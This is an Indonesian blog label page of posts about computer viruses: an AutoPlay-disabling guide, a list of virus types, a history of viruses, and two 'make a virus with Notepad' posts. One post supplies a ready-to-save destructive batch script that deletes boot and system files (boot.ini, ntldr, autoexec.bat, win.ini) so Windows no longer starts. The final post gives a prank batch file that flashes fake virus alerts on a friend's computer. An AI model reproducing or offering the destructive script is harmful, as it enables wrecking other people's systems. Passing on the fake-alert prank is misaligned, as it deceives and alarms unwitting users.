Popular Posts

Tampilkan postingan dengan label Virus. Tampilkan semua postingan
Tampilkan postingan dengan label Virus. Tampilkan semua postingan

Kamis, 13 Oktober 2016

Carar Melindungi Komputer Dari Virus Flashdisk






Banyak virus yang bertebaran melalui flasdisk, kali ini saya akan memberikan cara melindungi komputer dari virus-virus yang berasal dari flashdisk dengan menonaktifkan fungsi autoplay policy setting.Cara ini berlaku untuk OS windows 7 atau Vista.

Setiap kali kita menghubungkan komputer dengan Removable-media seperti memory,flasdisk, atau CD/DVD, maka jendela autorun windows akan terbuka di layar komputer secara otomatis.Sebenarnya fungsi tersebut bertujuan untuk memudahkan user, karena menyediakan beberapa menu seperti membuka folder, memainkan video/music (jika berupa terdapat file multimedia, dsb.

 Akan tetapi, fungsi tersebut bisa jadi berbahaya bagi keamanan komputer. Selain internet, media eksternal merupakan sarana penyebaran virus terbesar. Ketika sebuah media penyimpanan eksternal yang mengandung virus terhubung pada komputer dan Anda langsung membukanya menggunakan menu ‘Open files to view files’ yang ada pada autorun Windows, maka virus langsung masuk ke sistem komputer Anda. Terlebih virus-virus yang bisa aktif secara otomatis seperti Autorun.inf dan lain-lain.

Tutorial :

  1. Tekan tombol windows+R dan ketik gpedit.msc tekan enter.
  2. Klik Computer Configuration –> Administrative Templates –> Windows Components. Di bawahnya Anda akan menemukan AutoPlay Policies.
  3. Pada bagian kanan AutoPlay Policies, klik kanan pada Turn off AutoPlay, dan pilih Edit. Kemudian pada jendela baru yang muncul, pilih Enabled.
  4. Klik tombol apply dan OK
Sekarang fitur autorun windows tidak akan muncul setiap kali  menghubungkan Removable-media dengan komputer.

Cara Membuat Virus Berbahaya Menggunakan Notepad






Dari posting-posting sebelumnya kita sudah membahas Sejarah virus, Jenis virus, dan Cara membuat virus untuk menjaili teman pake notepad. Nah sekarang saya saatnya memberikan cara untuk membuat virus berbahaya bagi komputer menggunakan notepad.

Pertama, Copy Script di bawah ini dan Paste pada notepad anda :
-------------------------------------------------------------------------------------attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

-----------------------------------------------------------------------------------------Lalu, Simpan/Save AS dengan Format .bat Misalnya, Berbahaya.bat

Keterangan Kode :
1. del c:\autoexec.bat  <-->  buat hapus autoexe.bat di direktori C
2. del c:\boot.ini  <-->  buat hapus Boot.ini di direktori C
3. del c:\ntldr  <-->  buat hapus ntldr
4. del c:\windows\win.ini  <-->  untuk hapus file win.ini yang berlokasi di C:/windows
5. attrib -r -s -h  <-->  untuk menampilkan file ke 4 windows tadi yang di supper hidden


Note : Jangan dianggap main! Bila system ini dijalankan di windows anda tidak akan hidup dan juga tidak ada penawarnya jadi gunakanlah dengan manfaat.

Jenis Jenis Virus Komputer



Virus komputer adalah sebuah program perangkat lunak berbahaya yang ditulis dengan sengaja untuk memasuki komputer tanpa izin atau tanpa spengetahuan pengguna. Virus komputer punya kemampuan untuk mengandakan dirinya sendiri, akibatnya dapat terus menyebar. Beberapa virus melakukan sedikit kerusakan, sementara yang lain dapat menyebabkan kerusakan parah atau mempengaruhi kinerja program dan sistem.

Ada berbagai jenis virus yang dapat diklasifikasikan menurut asal mereka, teknik, jenis file yang mereka infeksi, di mana mereka bersembunyi, jenis kerusakan, jenis sistem operasi. Berikut ini berbagai jenis virus komputer beserta penjelasannya .

1. Memory Resident Virus

Virus ini menetapkan dalam memori komputer dan otomatis aktif setiap kali OS berjalan dan menginfeksi semua file yang dibuka.

- Persembunyian: Jenis virus ini bersembunyi dalam RAM dan tinggal di sana bahkan setelah kode berbahaya dijalankan. Virus mendapat kontrol atas memori sistem dan mengalokasikan blok memori di mana ia menjalankan kode sendiri, dan mengeksekusi kode ketika fungsi apapun dijalankan.

- Target: Dapat merusak file dan program yang dibuka, ditutup, disalin, diubah namanya, dll.

- Contoh: Randex, CMJ, Meve, dan MrKlunky.

- Proteksi: Instal program antivirus

2. Direct Action Viruses

Tujuan utama virus ini adalah untuk meniru dan bertindak ketika dijalankan. Ketika kondisi tertentu terpenuhi, virus akan beraksi dan menginfeksi file dalam direktori atau folder yang ditentukan dalam path file AUTOEXEC.BAT. File batch ini selalu terletak di direktori root hard disk dan melakukan operasi tertentu ketika komputer boot.

Teknik FindFirst / FindNext digunakan di mana kode memilih beberapa file sebagai korbannya. Hal ini juga menginfeksi perangkat eksternal seperti pen drive atau hard disk.

- Persembunyian: Virus terus berpindahlokasi  ke file baru setiap kali kode dijalankan, tapi umumnya ditemukan di direktori root pada hard disk.

- Target: Virus ini dapat merusak file. Pada dasarnya, ini adalah file virus-infector.

- Contoh: Vienna virus

- Proteksi: Instal scanner antivirus.


3. Overwrite Viruses

Virus jenis ini menghapus informasi dalam file yang terinfeksi.

- Persembunyian: Virus menggantikan isi file. Namun, tidak mengubah ukuran file.

- Contoh: Way, Trj.Reboot, Trivial.88.D

- Proteksi: Satu-satunya cara untuk membersihkan file yang terinfeksi oleh virus Overwrite adalah dengan menghapus file yang terinfeksi.

4. Boot Sector Virus

Jenis virus ini mempengaruhi sektor boot dari sebuah hard disk. Ini adalah bagian penting dari disk, di mana informasi dari disk itu sendiri disimpan bersama dengan sebuah program yang memungkinkan untuk boot (mulai) . Virus jenis ini juga disebut Master Boot Sector Virus or Master Boot Record Virus.

- Persembunyian: Virus ini bersembunyi di dalam memori hingga DOS mengakses floppy disk, Dan ke manapun data yang boot akses, virus menginfeksi itu.

- Contoh: Polyboot.B, AntiEXE

- Proteksi: Cara terbaik untuk menghindari virus boot sector adalah untuk memastikan floppy disk di write protect.


5. Macro Virus

Macro virus menginfeksi file yang dibuat menggunakan aplikasi atau program tertentu yang berisi macro, seperti doc, Xls, Pps, Mdb, dll. Virus ini otomatis menginfeksi file yang berisi macro, dan juga menginfeksi template dan dokumen. Hal ini disebut juga sebagai jenis virus e-mail.

- Persembunyian: Bersembunyi dalam dokumen yang dibagi melalui e-mail atau jaringan.

- Contoh:Relax, Melissa.A, Bablas, O97M/Y2K

- Proteksi: Teknik perlindungan terbaik adalah  menghindari membuka e-mail dari pengirim yang tidak dikenal. Juga, menonaktifkan macro dapat membantu melindungi data.

6. Directory Virus
Direktori virus (juga disebut Cluster Virus / File System Virus) menginfeksi direktori komputer  dengan mengubah jalan yang menunjukkan lokasi file. Ketika menjalankan program file dengan ekstensi EXE. Atau COM. Yang telah terinfeksi oleh virus, Anda tidak sadar menjalankan program virus, sedangkan file asli dan program sebelumnya dipindahkan oleh virus. Setelah terinfeksi, menjadi mustahil untuk menemukan file asli.

- Persembunyian: Virus ini biasanya terletak dalam satu lokasi disk, tetapi menginfeksi seluruh program dalam direktori.

- Contoh: virus Dir-2

- Proteksi: instal ulang semua file yang terinfeksi setelah memformat disk.

7. Polymorphic Virus

Virus polimorfik mengenkripsi atau menyandikan diri dengan cara yang berbeda (menggunakan algoritma yang berbeda dan kunci enkripsi) setiap kali mereka menginfeksi sistem.

- Contoh: Elkern, Marburg, Setan Bug, dan Tuareg

- Proteksi: Instal antivirus high-end.

8. Companion Viruses

- Persembunyian: umumnya menggunakan nama file yang sama dan membuat ekstensi yang berbeda. Sebagai contoh: Jika ada file "Me.exe", virus membuat file lain bernama "Me.com" dan bersembunyi di file baru. Ketika sistem memanggil nama file "Me", yang ". Com" file dijalankan (sebagai ". Com" memiliki prioritas lebih tinggi daripada "exe."), Sehingga menginfeksi sistem.

- Contoh: Stator, Asimov.1539 dan Terrax.1069

- Proteksi: Instal scanner antivirus dan juga men-download Firewall.

9. FAT Virus

File allocation table (FAT) adalah bagian dari disk yang digunakan untuk menyimpan semua informasi mengenai lokasi file, ruang yang tersedia, ruang tidak dapat digunakan, dll

- Persembunyian: virus FAT menyerang bagian FAT dan dapat merusak informasi penting. Hal ini bisa sangat berbahaya karena mencegah akses ke bagian tertentu dari disk dimana file penting disimpan. Kerusakan yang disebabkan dapat mengakibatkan hilangnya informasi dari file individual atau bahkan seluruh direktori.

- Contoh: link Virus

- Proteksi: Sebelum serangan virus menyebar ke semua file di komputer, car semua file yang benar-benar diperlukan pada hard drive, dan hapus yang yang tidak diperlukan. Mereka mungkin file yang dibuat oleh virus.

10. Multipartite Virus

Virus ini menyebar dalam berbagai cara tergantung pada sistem operasi yang terpasang dan adanya file tertentu.

- Persembunyian: Pada tahap awal, virus ini cenderung bersembunyi di dalam memori kemudian menginfeksi hard disk.

- Contoh: Invader, Flip dan Tequila

- Proteksi: Bersihkan sektor boot dan juga disk untuk menyingkirkan virus, dan kemudian kembalikan semua data di dalamnya. Namun, pastikan bahwa data  bersih.

11. Web Scripting Virus

Banyak halaman web mengunakan kode yang kompleks dalam rangka menciptakan konten yang menarik dan interaktif. Kode ini sering dimanfaatkan untuk  tindakan yang tidak diinginkan.

- Persembunyian: Sumber utama scripting virus web browser atau halaman web yang terinfeksi.

- Contoh: JS.Fortnight adalah virus berbahaya yang menyebar melalui e-mail.

- Proteksi: Instal aplikasi microsoft tool yang merupakan fitur standar pada Windows 2000, Windows 7 dan Vista. Scan komputer dengan aplikasi ini.

12. Worms

Worm adalah program yang sangat mirip dengan virus, memiliki kemampuan untuk mereplikasi diri dan dapat menyebabkan efek negatif pada sistem . Tapi mereka dapat dideteksi dan dihilangkan dengan perangkat lunak antivirus.

- Persembunyian: umumnya ini menyebar melalui e-mail dan jaringan. Mereka tidak menginfeksi file atau merusak mereka, tetapi mereka meniru begitu cepat sehingga seluruh jaringan akan runtuh.

- Contoh: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, Mapson

- Proteksi: Instal antivirus versi terbaru.

13. Trojans

Trojan atau Trojan horse adalah kode berbahaya , yang tidak seperti virus, tidak mereproduksi dengan menginfeksi file lainnya, juga tidak mereplikasi diri seperti cacing. Program ini menyamar dirinya sebagai program atau aplikasi yang berguna.

Selain itu, ada banyak virus komputer lain yang memiliki potensi untuk menginfeksi data. Oleh karena itu, lindungi komputer kamu dengan menginstal perangkat lunak antivirus yang berkualitas tinggi dan asli. Selain itu jangan mendownload file sembarangan di situs download gratis.

Sejarah dan Perkembangan Virus Komputer

Munculnya komputer pertama kali juga merupakan lahirnya perkembangan virus komputer. Salah satu pembuat komputer dan menciptakan EDVAC ( Electronic Discrete Variable Automatic Computer) yang bernama John von Newman sekitar tahun 1949, memaparkan dalam makalahnya yang membahas kemungkinan suatu program yang dapat menyebar secara otomatis.

Awal Sejarah dan Perkembangan Virus Komputer

Dalam sejarah dan perkembangan virus komputer, pada tahun 1960 di AT&T Bell Laboratory yang merupakan laboratorium komputer raksasa di dunia, pada saat rehat para ilmuwan komputer yang bekerja di laboratorium tersebut membuat sebuah permainan yang disebut dengan Perang Program atau Core War. Core War itu sendiri adalah membuat suatu program yang dibuat guna menyerang, memperbaiki dan memusnahkan.
Pemenang dalam permainan program ini yaitu pemilik program yang memiliki sisa program terbanyak dalam waktu yang telah ditentukan. Sebenarnya virus termasuk sebuah program/software, namun virus diciptakan untuk hal-hal yang berdampak merugikan.


Seorang ilmuwan komputer Amerika dan dikenal sebagai penemu teknik pertahanan virus komputer yang bernama Frederick B. Cohen sekitar tahun 1983, pada saat itu masih menjadi mahasiswa di University of Southern California School of Engineering (saat ini Viterbi School of Engineering), menulis sebuah program yang dapat menguasai sebuah sistem operasi komputer. Program tersebut merupakan salah satu virus komputer pertama.
Dengan berkembangnya ilmu pengetahuan di bidang komputer, sekitar tahun 1989, ditemukanlah virus komputer yang dikenal dengan virus polimorf. Virus tersebut dikenal dengan V2Px yang dengan sendirinya dapat mengubah diri menjadi varian baru. Sekitar tahun 1990, virus DIR II memiliki kemampuan baru dalam menginfeksi program dengan cara menyerang data-data FAT.

Selasa, 11 Oktober 2016

Cara Membuat Virus Trojan Dengan Notepad


Halo Blogger, Kali ini saya akan tunjukan cara membuat virus trojan yang tidak berbahaya dengan sangat mudah menggunakan notepad tapi cukup mengejutkan jika anda memasang di komputer/laptop teman anda.

 Langkah-langkah :
1.Tekan Windows+R ketik notepad klik enter
2.Copy scriptnya :

start
@echo off
msg * System error
msg * Your computer is got a virus
msg * Please reboot to fix
msg * System error
msg * Please reinstall your microsoft windows
msg * Computer security not fix this problem
msg * Trojan detected
msg * System error

3.Setelah itu simpan ubah ekstensi menjadi .bat
4.Tinggal klik open filenya